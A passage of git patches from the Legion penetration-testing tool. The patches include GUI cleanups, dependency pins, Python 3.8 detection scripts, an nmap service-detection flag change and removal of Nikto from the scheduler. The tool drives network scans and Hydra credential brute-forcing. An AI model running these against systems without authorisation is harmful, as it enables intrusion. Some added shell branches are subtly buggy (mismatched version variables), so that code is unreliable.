original textedit - self.updateScriptsOutputView('') # update the script output panel (right) + self.updateScriptsOutputView('') # update the script output panel (right) self.updateToolHostsTableView('') self.ui.MainTabWidget.setCurrentIndex(0) # display scan tab by default self.ui.HostsTabWidget.setCurrentIndex(0) # display Hosts tab by default @@ -131,12 +131,12 @@ def startConnections(self): # signal initialisations (signals/slots, actions, e self.connectAddHosts() self.connectImportNmap() #self.connectSettings() - self.connectHelp() + self.connectHelp() self.connectConfig() self.connectAppExit() ### TABLE ACTIONS ### self.connectAddHostsOverlayClick() - self.connectHostTableClick() + self.connectHostTableClick() self.connectServiceNamesTableClick() self.connectToolsTableClick() self.connectScriptTableClick() @@ -201,7 +201,7 @@ def initTables(self): # this function prepares the default settings for each ta headers = ["Host", "Port", "Port", "Protocol", "State", "HostId", "ServiceId", "Name", "Product", "Version", "Extrainfo", "Fingerprint"] setTableProperties(self.ui.ServicesTableView, len(headers), [2, 5, 6, 8, 10, 11]) - self.ui.ServicesTableView.horizontalHeader().resizeSection(0, 130) # resize IP + self.ui.ServicesTableView.horizontalHeader().resizeSection(0, 130) # resize IP # scripts table (right) headers = ["Id", "Script", "Port", "Protocol"] @@ -278,7 +278,7 @@ def dealWithCurrentProject(self, exiting=False): return self.dealWithRunningProcesses(exiting) # deal with running processes - def confirmExit(self): + def confirmExit(self): message = "Are you sure to exit the program?" reply = self.yesNoDialog(message, 'Confirm') return (reply == QtWidgets.QMessageBox.Yes) @@ -301,7 +301,7 @@ def createNewProject(self): def connectOpenExistingProject(self): self.ui.actionOpen.triggered.connect(self.openExistingProject) - def openExistingProject(self): + def openExistingProject(self): if self.dealWithCurrentProject(): filename = QtWidgets.QFileDialog.getOpenFileName( self.ui.centralwidget, 'Open project', self.controller.getCWD(), @@ -382,7 +382,7 @@ def saveProjectAs(self): filter='Legion session (*.legion)', options=QtWidgets.QFileDialog.DontConfirmOverwrite)[0] - if not filename == '': + if not filename == '': self.setDirty(False) self.viewState.firstSave = False self.ui.statusbar.showMessage('Saved!', msecs=1000) @@ -414,7 +414,7 @@ def connectAddHosts(self): self.ui.actionAddHosts.triggered.connect(self.connectAddHostsDialog) def connectAddHostsDialog(self): - self.adddialog.cmdAddButton.setDefault(True) + self.adddialog.cmdAddButton.setDefault(True) self.adddialog.txtHostList.setFocus(True) self.adddialog.validationLabel.hide() self.adddialog.spacer.changeSize(15, 15) @@ -467,7 +467,7 @@ def callAddHosts(self): scanMode=scanMode, nmapOptions=nmapOptions) self.adddialog.cmdAddButton.clicked.disconnect() # disconnect all the signals from that button - else: + else: self.adddialog.spacer.changeSize(0,0) self.adddialog.validationLabel.show() self.adddialog.cmdAddButton.clicked.disconnect() # disconnect all the signals from that button @@ -521,7 +521,7 @@ def connectConfig(self): self.ui.actionConfig.triggered.connect(self.configDialog.show) def connectAppExit(self): - self.ui.actionExit.triggered.connect(self.appExit) + self.ui.actionExit.triggered.connect(self.appExit) def appExit(self): if self.dealWithCurrentProject(True): # the parameter indicates that we are exiting the application @@ -552,7 +552,7 @@ def hostTableClick(self): self.ui.ServicesTabWidget.setCurrentIndex(save) self.updateRightPanel(self.viewState.ip_clicked) else: - self.removeToolTabs() + self.removeToolTabs() self.updateRightPanel('') ### @@ -714,7 +714,7 @@ def connectSwitchTabClick(self): self.ui.HostsTabWidget.currentChanged.connect(self.switchTabClick) def switchTabClick(self): - if self.ServiceNamesTableModel: # fixes bug when switching tabs at start-up + if self.ServiceNamesTableModel: # fixes bug when switching tabs at start-up selectedTab = self.ui.HostsTabWidget.tabText(self.ui.HostsTabWidget.currentIndex()) if selectedTab == 'Hosts': @@ -733,10 +733,10 @@ def switchTabClick(self): if self.viewState.lazy_update_hosts == True: self.updateHostsTableView() ### - self.hostTableClick() + self.hostTableClick() elif selectedTab == 'Services': - self.ui.ServicesTabWidget.setCurrentIndex(0) + self.ui.ServicesTabWidget.setCurrentIndex(0) self.removeToolTabs(0) # remove the tool tabs self.controller.saveProject(self.viewState.lastHostIdClicked, self.ui.NotesTextEdit.toPlainText()) if self.viewState.lazy_update_services == True: @@ -898,8 +898,8 @@ def contextToolHostsTableContextMenu(self, pos): action = menu.exec_(self.ui.ToolHostsTableView.viewport().mapToGlobal(pos)) - if action: - self.controller.handlePortAction(targets, actions, terminalActions, action, restore) + if action: + self.controller.handlePortAction(targets, actions, terminalActions, action, restore) else: # in case there was no port, we show the host menu (without the portscan / mark as checked) menu, actions = self.controller.getContextMenuForHost(str( @@ -934,7 +934,7 @@ def contextMenuServicesTableView(self, pos): else: serviceName = '*' # otherwise show full menu - menu, actions, terminalActions = self.controller.getContextMenuForPort(serviceName) + menu, actions, terminalActions = self.controller.getContextMenuForPort(serviceName) menu.aboutToShow.connect(self.setVisible) menu.aboutToHide.connect(self.setInvisible) @@ -957,7 +957,7 @@ def contextMenuServicesTableView(self, pos): action = menu.exec_(self.ui.ServicesTableView.viewport().mapToGlobal(pos)) - if action: + if action: self.controller.handlePortAction(targets, actions, terminalActions, action, restore) ### @@ -980,7 +980,7 @@ def contextMenuProcessesTableView(self, pos): action = menu.exec_(self.ui.ProcessesTableView.viewport().mapToGlobal(pos)) - if action: + if action: self.controller.handleProcessAction(selectedProcesses, action) ### @@ -1012,7 +1012,7 @@ def contextMenuScreenshot(self, pos): #################### LEFT PANEL INTERFACE UPDATE FUNCTIONS #################### - def updateHostsTableView(self): + def updateHostsTableView(self): headers = ["Id", "OS", "Accuracy", "Host", "IPv4", "IPv6", "Mac", "Status", "Hostname", "Vendor", "Uptime", "Lastboot", "Distance", "CheckedHost", "Country Code", "State", "City", "Latitude", "Longitude", "Count", "Closed"] @@ -1117,7 +1117,7 @@ def updateServiceTableView(self, hostIP): self.ui.ServicesTableView.setColumnHidden(i, False) for i in [0,1,5,6,8,10,11]: # hide some columns - self.ui.ServicesTableView.setColumnHidden(i, True) + self.ui.ServicesTableView.setColumnHidden(i, True) self.ServicesTableModel.sort(2, Qt.DescendingOrder) # sort by port by default (override default) @@ -1132,7 +1132,7 @@ def updatePortsByServiceTableView(self, serviceName): self.ui.ServicesTableView.setColumnHidden(i, False) for i in [2,5,6,7,8,10,11]: # hide some columns - self.ui.ServicesTableView.setColumnHidden(i, True) + self.ui.ServicesTableView.setColumnHidden(i, True) self.ui.ServicesTableView.horizontalHeader().resizeSection(0,165) # resize IP self.ui.ServicesTableView.horizontalHeader().resizeSection(1,65) # resize port @@ -1144,7 +1144,7 @@ def updateInformationView(self, hostIP): if hostIP: host = self.controller.getHostInformation(hostIP) - if host: + if host: states = self.controller.getPortStatesForHost(host.id) counterOpen = counterClosed = counterFiltered = 0 @@ -1264,7 +1264,7 @@ def updateRightPanel(self, hostIP): if hostIP: self.updateNotesView(self.HostsTableModel.getHostIdForRow(self.HostsTableModel.getRowForIp(hostIP))) else: - self.updateNotesView('') + self.updateNotesView('') def displayToolPanel(self, display=False): size = self.ui.splitter.parentWidget().width() - self.leftPanelSize - 24 # note: 24 is a fixed value @@ -1277,7 +1277,7 @@ def displayToolPanel(self, display=False): self.displayScreenshots(True) else: self.displayScreenshots(False) - #self.ui.splitter_3.setSizes([275,size-275,0]) # reset middle panel width + #self.ui.splitter_3.setSizes([275,size-275,0]) # reset middle panel width else: self.ui.splitter_3.hide() @@ -1290,12 +1290,12 @@ def displayScreenshots(self, display=False): if display: self.ui.DisplayWidget.hide() self.ui.ScreenshotWidget.scrollArea.show() - self.ui.splitter_3.setSizes([275, 0, size - 275]) # reset middle panel width + self.ui.splitter_3.setSizes([275, 0, size - 275]) # reset middle panel width else: self.ui.ScreenshotWidget.scrollArea.hide() self.ui.DisplayWidget.show() - self.ui.splitter_3.setSizes([275, size - 275, 0]) # reset middle panel width + self.ui.splitter_3.setSizes([275, size - 275, 0]) # reset middle panel width def displayAddHostsOverlay(self, display=False): if display: @@ -1305,7 +1305,7 @@ def displayAddHostsOverlay(self, display=False): self.ui.addHostsOverlay.hide() self.ui.HostsTableView.show() - #################### BOTTOM PANEL INTERFACE UPDATE FUNCTIONS #################### + #################### BOTTOM PANEL INTERFACE UPDATE FUNCTIONS #################### def setupProcessesTableView(self): headers = ["Progress", "Display", "Elapsed", "Est. Remaining", "Pid", "Name", "Tool", "Host", "Port", @@ -1339,7 +1339,7 @@ def updateProcessesTableView(self): for i in columnsToHide: self.ui.ProcessesTableView.setColumnHidden(i, True) - # Force size of progress animation + # Force size of progress animation self.ui.ProcessesTableView.horizontalHeader().resizeSection(0, 125) self.ui.ProcessesTableView.horizontalHeader().resizeSection(15, 125) @@ -1377,7 +1377,7 @@ def updateInterface(self): self.viewState.lazy_update_hosts = True self.viewState.lazy_update_tools = True - if self.ui.HostsTabWidget.tabText(self.ui.HostsTabWidget.currentIndex()) == 'Tools': + if self.ui.HostsTabWidget.tabText(self.ui.HostsTabWidget.currentIndex()) == 'Tools': self.updateToolsTableView() self.viewState.lazy_update_hosts = True self.viewState.lazy_update_services = True @@ -1454,14 +1454,14 @@ def createNewConsole(self, tabTitle, content='Hello\n', filename=''): return tempTextView - def closeHostToolTab(self, index): + def closeHostToolTab(self, index): currentTabIndex = self.ui.ServicesTabWidget.currentIndex() # remember the currently selected tab self.ui.ServicesTabWidget.setCurrentIndex(index) # select the tab for which the cross button was clicked currentWidget = self.ui.ServicesTabWidget.currentWidget() if 'screenshot' in str(self.ui.ServicesTabWidget.currentWidget().objectName()): dbId = int(currentWidget.property('dbId')) - else: + else: dbId = int(currentWidget.findChild(QtWidgets.QPlainTextEdit).property('dbId')) pid = int(self.controller.getPidForProcess(dbId)) # the process ID (=os) @@ -1474,7 +1474,7 @@ def closeHostToolTab(self, index): else: return - # TODO: duplicate code + # TODO: duplicate code if str(self.controller.getProcessStatusForDBId(dbId)) == 'Waiting': message = "This process is waiting to start. Are you sure you want to cancel it?" reply = self.yesNoDialog(message, 'Confirm') @@ -1499,12 +1499,12 @@ def closeHostToolTab(self, index): # all the tab indexes shift if we remove a tab index smaller than the current tab index self.ui.ServicesTabWidget.setCurrentIndex(currentTabIndex - 1) else: - self.ui.ServicesTabWidget.setCurrentIndex(currentTabIndex) + self.ui.ServicesTabWidget.setCurrentIndex(currentTabIndex) # this function removes tabs that were created when running tools (starting from the end to avoid index problems) def removeToolTabs(self, position=-1): if position == -1: - position = self.fixedTabsCount-1 + position = self.fixedTabsCount-1 for i in range(self.ui.ServicesTabWidget.count()-1, position, -1): self.ui.ServicesTabWidget.removeTab(i) @@ -1514,7 +1514,7 @@ def restoreToolTabs(self): # a project is closed. tools = self.controller.getProcessesFromDB(self.viewState.filters, showProcesses=False) nbr = len(tools) # show a progress bar because this could take long - if nbr==0: + if nbr==0: nbr=1 progress = 100.0 / nbr totalprogress = 0 @@ -1539,7 +1539,7 @@ def restoreToolTabsForHost(self, ip): tabs = self.viewState.hostTabs[ip] # use the ip as a key to retrieve its list of tooltabs for tab in tabs: # do not display hydra and nmap tabs when restoring for that host - if not 'hydra' in tab.objectName() and not 'nmap' in tab.objectName(): + if 'hydra' not in tab.objectName() and 'nmap' not in tab.objectName(): self.ui.ServicesTabWidget.addTab(tab, tab.objectName()) # this function restores the textview widget (now in the tools display widget) to its original tool tab @@ -1551,7 +1551,7 @@ def restoreToolTabWidget(self, clear=False): for host in self.viewState.hostTabs.keys(): hosttabs = self.viewState.hostTabs[host] for tab in hosttabs: - if not 'screenshot' in str(tab.objectName()) and not tab.findChild(QtWidgets.QPlainTextEdit): + if 'screenshot' not in str(tab.objectName()) and not tab.findChild(QtWidgets.QPlainTextEdit): tab.layout().addWidget(self.ui.DisplayWidget.findChild(QtWidgets.QPlainTextEdit)) break @@ -1564,7 +1564,7 @@ def restoreToolTabWidget(self, clear=False): #################### BRUTE TABS #################### - def createNewBruteTab(self, ip, port, service): + def createNewBruteTab(self, ip, port, service): self.ui.statusbar.showMessage('Sending to Brute: '+str(ip)+':'+str(port)+' ('+str(service)+')', msecs=1000) bWidget = BruteWidget(ip, port, service, self.controller.getSettings()) bWidget.runButton.clicked.connect(lambda: self.callHydra(bWidget)) diff --git a/utilities/qtLogging.py b/utilities/qtLogging.py index e707d222..7d61842f 100644 --- a/utilities/qtLogging.py +++ b/utilities/qtLogging.py @@ -1,15 +1,11 @@ -import sys -from PyQt5.QtGui import * # for filters dialog -from PyQt5.QtWidgets import * -from PyQt5 import QtWidgets, QtGui -from PyQt5 import QtCore, QtGui +from PyQt5 import QtWidgets import logging class QPlainTextEditLogger(logging.Handler): def __init__(self, parent): super().__init__() self.widget = QtWidgets.QPlainTextEdit(parent) - #self.widget.setReadOnly(True) + #self.widget.setReadOnly(True) #self.sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding) #self.sizePolicy.setHorizontalStretch(1) #self.sizePolicy.setVerticalStretch(1) @@ -18,7 +14,7 @@ def __init__(self, parent): def emit(self, record): msg = self.format(record) - self.widget.appendPlainText(msg) + self.widget.appendPlainText(msg) def append(self, msg): self.widget.appendPlainText(msg) From 8d55c11fe8e7092553b8b305f5e5d8c760a25a95 Mon Sep 17 00:00:00 2001 From: jchoy14 <28782996+jchoy14@users.noreply.github.com> Date: Mon, 20 Apr 2020 09:08:59 -0400 Subject: [PATCH 379/450] Fix for pyfiglet font not found --- requirements.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/requirements.txt b/requirements.txt index e944fa6d..001bbceb 100644 --- a/requirements.txt +++ b/requirements.txt @@ -10,7 +10,7 @@ PyQt5==5.11.3 sanic>=0.8.3 sanic_swagger requests>=2.20.1 -pyfiglet +pyfiglet=0.8post1 colorama termcolor win_inet_pton From 415a3d7befd5b4c085422244337d958b304f33db Mon Sep 17 00:00:00 2001 From: jchoy14 <28782996+jchoy14@users.noreply.github.com> Date: Wed, 13 May 2020 12:50:03 -0400 Subject: [PATCH 380/450] Editing staged nmap parameter For service detection --- controller/controller.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/controller/controller.py b/controller/controller.py index 0828ee53..9ec0dab7 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -751,7 +751,7 @@ def runStagedNmap(self, targetHosts, discovery = True, stage = 1, stop = False): command = "nmap " if not discovery: # is it with/without host discovery? command += "-Pn " - command += "-T4 -sC " + command += "-T4 -sV " if not stage == 1 and not stage == 3: command += "-n " # only do DNS resolution on first stage if os.geteuid() == 0: # if we are root we can run SYN + UDP scans From 7e3e15ae0c92ec42265f68b39f32245768959a90 Mon Sep 17 00:00:00 2001 From: jchoy14 <28782996+jchoy14@users.noreply.github.com> Date: Thu, 21 May 2020 10:22:25 -0400 Subject: [PATCH 381/450] Removed starwars figlet font --- legion.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/legion.py b/legion.py index dbe924ce..b492fabd 100644 --- a/legion.py +++ b/legion.py @@ -67,7 +67,7 @@ # Main application declaration and loop if __name__ == "__main__": - cprint(figlet_format('LEGION', font='starwars'), 'yellow', 'on_red', attrs=['bold']) + cprint(figlet_format('LEGION'), 'yellow', 'on_red', attrs=['bold']) app = QApplication(sys.argv) loop = quamash.QEventLoop(app) From 7690098e19f155cb5294858ea2128bd3a49f025d Mon Sep 17 00:00:00 2001 From: jchoy14 <28782996+jchoy14@users.noreply.github.com> Date: Thu, 28 May 2020 12:59:43 -0400 Subject: [PATCH 382/450] Added Python 3.8 support --- deps/detectPython.sh | 116 ++++++++++++++++++++++++++++++++++++++++ deps/installPython36.sh | 10 ++-- 2 files changed, 123 insertions(+), 3 deletions(-) diff --git a/deps/detectPython.sh b/deps/detectPython.sh index ff559847..fac4abc1 100644 --- a/deps/detectPython.sh +++ b/deps/detectPython.sh @@ -4,6 +4,7 @@ testForPython=`python --version 2>&1` testForPython2=`python3 --version 2>&1` testForPython3=`python3.6 --version 2>&1` testForPython4=`python3.7 --version 2>&1` +testForPython5=`python3.8 --version 2>&1` if [[ $testForPython == *"3.6"* ]]; then pythonBin='python' @@ -11,18 +12,27 @@ if [[ $testForPython == *"3.6"* ]]; then elif [[ $testForPython == *"3.7"* ]]; then pythonBin='python' pythonVersion='3.7' +elif [[ $testForPython == *"3.8"* ]]; then + pythonBin='python' + pythonVersion='3.8' elif [[ $testForPython2 == *"3.6"* ]]; then pythonBin='python3' pythonVersion='3.6' elif [[ $testForPython2 == *"3.7"* ]]; then pythonBin='python3' pythonVersion='3.7' +elif [[ $testForPython2 == *"3.8"* ]]; then + pythonBin='python' + pythonVersion='3.8' elif [[ $testForPython3 == *"3.6"* ]] && [[ $testForPython3 != *"not found"* ]]; then pythonBin='python3.6' pythonVersion='3.6' elif [[ $testForPython4 == *"3.7"* ]] && [[ $testForPython4 != *"not found"* ]]; then pythonBin='python3.7' pythonVersion='3.7' +elif [[ $testForPython5 == *"3.8"* ]] && [[ $testForPython4 != *"not found"* ]]; then + pythonBin='python3.8' + pythonVersion='3.8' else pythonBin='Missing' fi @@ -31,6 +41,7 @@ testForPip=`pip --version 2>&1` testForPip2=`pip3 --version 2>&1` testForPip3=`pip3.6 --version 2>&1` testForPip4=`pip3.7 --version 2>&1` +testForPip5=`pip3.8 --version 2>&1` if [[ $testForPip == *"3.6"* ]]; then pipBin='pip' @@ -38,18 +49,27 @@ if [[ $testForPip == *"3.6"* ]]; then elif [[ $testForPip == *"3.7"* ]]; then pipBin='pip' pipVersion='3.7' +elif [[ $testForPip == *"3.8"* ]]; then + pipBin='pip' + pipVersion='3.8' elif [[ $testForPip2 == *"3.6"* ]]; then pipBin='pip3' pipVersion='3.6' elif [[ $testForPip2 == *"3.7"* ]]; then pipBin='pip3' pipVersion='3.7' +elif [[ $testForPip2 == *"3.8"* ]]; then + pipBin='pip' + pipVersion='3.8' elif [[ $testForPip3 == *"3.6"* ]] && [[ $testForPip3 != *"not found"* ]]; then pipBin='pip3.6' pipVersion='3.6' elif [[ $testForPip4 == *"3.7"* ]] && [[ $testForPip4 != *"not found"* ]]; then pipBin='pip3.7' pipVersion='3.7' +elif [[ $testForPip5 == *"3.8"* ]] && [[ $testForPip4 != *"not found"* ]]; then + pipBin='pip3.8' + pipVersion='3.8' else pipBin='Missing' fi @@ -236,6 +256,102 @@ elif [[ ${pythonVersion} == *"3.6"* ]] && [[ ${pipVersion} != *"3.6"* ]]; then fi ;; esac +elif [[ ${pythonVersion} == *"3.8"* ]] && [[ ${pipVersion} != *"3.8"* ]]; then + case ${pipBin} in + 3.6) + echo "Found Python 3.8 but no PIP 3.8. Let's try to use Python 3.7 instead, or locate PIP 3.8." + if [[ $testForPython4 == *"3.7"* ]] && [[ $testForPython3 != *"not found"* ]]; then + pythonBin='python3.7' + pythonVersion='3.7' + elif [[ $testForPython2 == *"3.7"* ]] && [[ $testForPython2 != *"not found"* ]]; then + pythonBin='python3' + pythonVersion='3.7' + elif [[ $testForPython == *"3.7"* ]] && [[ $testForPython != *"not found"* ]]; then + pythonBin='python' + pythonVersion='3.7' + elif [[ $testForPip5 == *"3.8"* ]] && [[ $testForPip4 != *"not found"* ]]; then + pipBin='pip3.8' + pipVersion='3.8' + elif [[ $testForPip2 == *"3.8"* ]] && [[ $testForPip2 != *"not found"* ]]; then + pipBin='pip3' + pipVersion='3.8' + elif [[ $testForPip == *"3.8"* ]] && [[ $testForPip != *"not found"* ]]; then + pipBin='pip' + pipVersion='3.8' + else + pipBin='Missing' + echo "Python 3.8 is installed, however PIP 3.8 is not installed and neither is Python 3.7. Please install PIP 3.8." + fi + ;; + 3) + if [[ ${pipBin} != *"3.6"* ]] && [[ ${pipBin} != *"3.7"* ]]; then + if [[ ${pipVersion} == *"3.6"* ]]; then + echo "Found Python 3.8 but PIP 3.6. Let's try to use Python 3.6 instead, or switch to PIP 3.8." + if [[ $testForPython3 == *"3.6"* ]] && [[ $testForPython3 != *"not found"* ]]; then + pythonBin='python3.6' + pythonVersion='3.6' + elif [[ $testForPython2 == *"3.6"* ]] && [[ $testForPython2 != *"not found"* ]]; then + pythonBin='python3' + pythonVersion='3.6' + elif [[ $testForPython == *"3.6"* ]] && [[ $testForPython != *"not found"* ]]; then + pythonBin='python' + pythonVersion='3.6' + else + echo "Python 3.6 is not installed yet PIP 3.6 is. Let's look for PIP 3.8." + if [[ $testForPip5 == *"3.8"* ]] && [[ $testForPip4 != *"not found"* ]]; then + pipBin='pip3.8' + pipVersion='3.8' + elif [[ $testForPip2 == *"3.7"* ]] && [[ $testForPip2 != *"not found"* ]]; then + pipBin='pip3' + pipVersion='3.8' + elif [[ $testForPip == *"3.7"* ]] && [[ $testForPip != *"not found"* ]]; then + pipBin='pip' + pipVersion='3.8' + else + echo "PIP 3.8 not found either. Please install PIP 3.8." + pipBin='Missing' + fi + fi + else + pipBin='Missing' + echo "Python 3.8 is installed, but neither PIP 3.8, PIP 3.7, nor PIP 3.6 were found. Please install PIP 3.8." + fi + fi + ;; + *) + if [[ ${pipVersion} == *"3.7"* ]]; then + echo "Found Python 3.8 but only PIP 3.7 was found. Let's try to use Python 3.7 instead, or switch to PIP 3.8." + if [[ $testForPython4 == *"3.7"* ]] && [[ $testForPython3 != *"not found"* ]]; then + pythonBin='python3.7' + pythonVersion='3.7' + elif [[ $testForPython2 == *"3.7"* ]] && [[ $testForPython2 != *"not found"* ]]; then + pythonBin='python3' + pythonVersion='3.7' + elif [[ $testForPython == *"3.7"* ]] && [[ $testForPython != *"not found"* ]]; then + pythonBin='python' + pythonVersion='3.7' + else + echo "Python 3.8 is not installed yet PIP 3. is. Let's look for PIP 3.8." + if [[ $testForPip5 == *"3.8"* ]] && [[ $testForPip4 != *"not found"* ]]; then + pipBin='pip3.8' + pipVersion='3.8' + elif [[ $testForPip2 == *"3.8"* ]] && [[ $testForPip2 != *"not found"* ]]; then + pipBin='pip3' + pipVersion='3.8' + elif [[ $testForPip == *"3.8"* ]] && [[ $testForPip != *"not found"* ]]; then + pipBin='pip' + pipVersion='3.8' + else + echo "PIP 3.8 not found either. Please install PIP 3.8." + pipBin='Missing' + fi + fi + else + pipBin='Missing' + echo "Python 3.8 is installed, but neither PIP 3.8, PIP 3.7, nor PIP 3.6 were found. Please install PIP 3.8." + fi + ;; + esac fi echo "Python 3 bin is ${pythonBin} ($(which ${pythonBin}))" diff --git a/deps/installPython36.sh b/deps/installPython36.sh index 31de7474..d75a922a 100644 --- a/deps/installPython36.sh +++ b/deps/installPython36.sh @@ -15,11 +15,15 @@ else echo "Python 3.7 found!" elif [[ ${PYTHON3BIN} == *"3.6"* ]]; then echo "Python 3.6 found!" + elif [[ ${PYTHON3BIN} == *"3.8"* ]]; then + echo "Python 3.8 found!" fi if [[ ${PIP3BIN} == *"3.7"* ]]; then echo "Pip 3.7 found!" elif [[ ${PIP3BIN} == *"3.6"* ]]; then echo "Pip 3.6 found!" + elif [[ ${PIP3BIN} == *"3.8"* ]]; then + echo "Pip 3.8 found!" fi echo "Python3: ${PYTHON3BIN}" @@ -34,7 +38,7 @@ then echo "Installing python3.6 from source..." sudo ./deps/buildPython36.sh else - echo "Python 3.6 or 3.7 found!" + echo "Python 3.6 or newer found!" echo "Python3: ${PYTHON3BIN}" echo "PIP3: ${PIP3BIN}" exit 0 @@ -44,12 +48,12 @@ source ./deps/detectPython.sh if [[ ${PYTHON3BIN} == "Missing" ]] | [[ ${PIP3BIN} == "Missing" ]] | [[ -z "${PYTHON3BIN}" ]] | [[ -z "${PIP3BIN}" ]] then - echo "Everything went wrong trying to get python 3.6 or 3.7 setup. Please do this manually." + echo "Everything went wrong trying to get python 3.6 or newer setup. Please do this manually." echo "Python3: ${PYTHON3BIN}" echo "PIP3: ${PIP3BIN}" exit 1 else - echo "Python 3.6 or 3.7 found!" + echo "Python 3.6 or newer found!" echo "Python3: ${PYTHON3BIN}" echo "PIP3: ${PIP3BIN}" exit 0 From 581a85fee811054fdee64bfc5afa4a3362be913a Mon Sep 17 00:00:00 2001 From: MidnightSeer <21272239+MidnightSeer@users.noreply.github.com> Date: Wed, 3 Jun 2020 07:55:21 -0400 Subject: [PATCH 383/450] Update dialogs.py add getTimestamp reference fixes #179, #180 --- ui/dialogs.py | 1 + 1 file changed, 1 insertion(+) diff --git a/ui/dialogs.py b/ui/dialogs.py index e569801b..6a099554 100644 --- a/ui/dialogs.py +++ b/ui/dialogs.py @@ -20,6 +20,7 @@ from PyQt5 import QtWidgets, QtGui from app.auxiliary import * # for timestamps from six import u as unicode +from app.timing import getTimestamp class BruteWidget(QtWidgets.QWidget): From 0a733d41b4c864a95a861c759cdcd52da7f9f79a Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Wed, 3 Jun 2020 12:51:34 -0500 Subject: [PATCH 384/450] Fix requirements typo --- requirements.txt | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/requirements.txt b/requirements.txt index 001bbceb..07921db6 100644 --- a/requirements.txt +++ b/requirements.txt @@ -10,11 +10,11 @@ PyQt5==5.11.3 sanic>=0.8.3 sanic_swagger requests>=2.20.1 -pyfiglet=0.8post1 +pyfiglet==0.8post1 colorama termcolor win_inet_pton -pyExploitDb>=0.2.1 +pyExploitDb pyShodan GitPython pandas From c43cdfae1543f2ec5fd6733437b49532acea8886 Mon Sep 17 00:00:00 2001 From: jchoy14 <28782996+jchoy14@users.noreply.github.com> Date: Wed, 3 Jun 2020 13:55:26 -0400 Subject: [PATCH 385/450] Fix for pyfiglet missing font --- legion.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/legion.py b/legion.py index 589c570b..e89b9873 100644 --- a/legion.py +++ b/legion.py @@ -69,7 +69,7 @@ # Main application declaration and loop if __name__ == "__main__": - cprint(figlet_format('LEGION', font='isometric4'), 'yellow', 'on_red', attrs=['bold']) + cprint(figlet_format('LEGION'), 'yellow', 'on_red', attrs=['bold']) app = QApplication(sys.argv) loop = quamash.QEventLoop(app) From f554c732fa30965c222665fd1da2d57386f046e6 Mon Sep 17 00:00:00 2001 From: jchoy14 <28782996+jchoy14@users.noreply.github.com> Date: Wed, 3 Jun 2020 13:56:31 -0400 Subject: [PATCH 386/450] Fix for missing timestamp --- ui/dialogs.py | 1 + 1 file changed, 1 insertion(+) diff --git a/ui/dialogs.py b/ui/dialogs.py index 310f57f6..3aea65ef 100644 --- a/ui/dialogs.py +++ b/ui/dialogs.py @@ -19,6 +19,7 @@ from PyQt5.QtWidgets import * from PyQt5 import QtWidgets, QtGui from app.auxiliary import * # for timestamps +from app.timing import getTimestamp from six import u as unicode class BruteWidget(QtWidgets.QWidget): From 39c13c27eb92867715df6e55a81671b4aa47cb0d Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Wed, 3 Jun 2020 13:08:53 -0500 Subject: [PATCH 387/450] Fix bad variable name --- ui/view.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/ui/view.py b/ui/view.py index 3db15939..40710900 100644 --- a/ui/view.py +++ b/ui/view.py @@ -1211,8 +1211,8 @@ def updateCvesByHostView(self, hostIP): def updateScriptsOutputView(self, scriptId): self.ui.ScriptsOutputTextEdit.clear() lines = self.controller.getScriptOutputFromDB(scriptId) - for l in lines: - self.ui.ScriptsOutputTextEdit.insertPlainText(l.output.rstrip()) + for line in lines: + self.ui.ScriptsOutputTextEdit.insertPlainText(line.output.rstrip()) # TODO: check if this hack can be improved because we are calling setDirty more than we need def updateNotesView(self, hostid): From 2f3f052d534200f6efd762a9b4938afd7941962b Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Wed, 3 Jun 2020 13:35:21 -0500 Subject: [PATCH 388/450] Fix bad variable and typo in requirements --- requirements.txt | 4 ++-- ui/view.py | 4 ++-- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/requirements.txt b/requirements.txt index e944fa6d..07921db6 100644 --- a/requirements.txt +++ b/requirements.txt @@ -10,11 +10,11 @@ PyQt5==5.11.3 sanic>=0.8.3 sanic_swagger requests>=2.20.1 -pyfiglet +pyfiglet==0.8post1 colorama termcolor win_inet_pton -pyExploitDb>=0.2.1 +pyExploitDb pyShodan GitPython pandas diff --git a/ui/view.py b/ui/view.py index f3f07d69..2e13b57e 100644 --- a/ui/view.py +++ b/ui/view.py @@ -1219,8 +1219,8 @@ def updateCvesByHostView(self, hostIP): def updateScriptsOutputView(self, scriptId): self.ui.ScriptsOutputTextEdit.clear() lines = self.controller.getScriptOutputFromDB(scriptId) - for l in lines: - self.ui.ScriptsOutputTextEdit.insertPlainText(l.output.rstrip()) + for line in lines: + self.ui.ScriptsOutputTextEdit.insertPlainText(line.output.rstrip()) # TODO: check if this hack can be improved because we are calling setDirty more than we need def updateNotesView(self, hostid): From 5aaecaefdc0d94517ec5828abb0bb40ebf278d2d Mon Sep 17 00:00:00 2001 From: jchoy14 <28782996+jchoy14@users.noreply.github.com> Date: Mon, 22 Jun 2020 09:54:46 -0400 Subject: [PATCH 389/450] Removing Nikto from scheduler settings If many Nikto scans are launched simultaneously, it can cause the app to hang and it always slows down network scans tremendously. --- legion.conf | 1 - 1 file changed, 1 deletion(-) diff --git a/legion.conf b/legion.conf index d79e24a6..4f85dc40 100644 --- a/legion.conf +++ b/legion.conf @@ -308,7 +308,6 @@ xephyr=Open with Xephyr, Xephyr -query [IP] :1, xdmcp ftp-default=ftp, tcp mssql-default=ms-sql-s, tcp mysql-default=mysql, tcp -nikto="http,https,ssl,soap,http-proxy,http-alt,https-alt", tcp oracle-default=oracle-tns, tcp postgres-default=postgresql, tcp screenshooter="http,https,ssl,http-proxy,http-alt,https-alt", tcp From 6657ea22496fc624d627d5005083432cb81c9ab0 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Thu, 25 Jun 2020 17:14:24 -0500 Subject: [PATCH 390/450] Minor tweaks to deps, Docker --- app/ApplicationInfo.py | 4 ++-- deps/installDeps.sh | 15 ++++++++------- 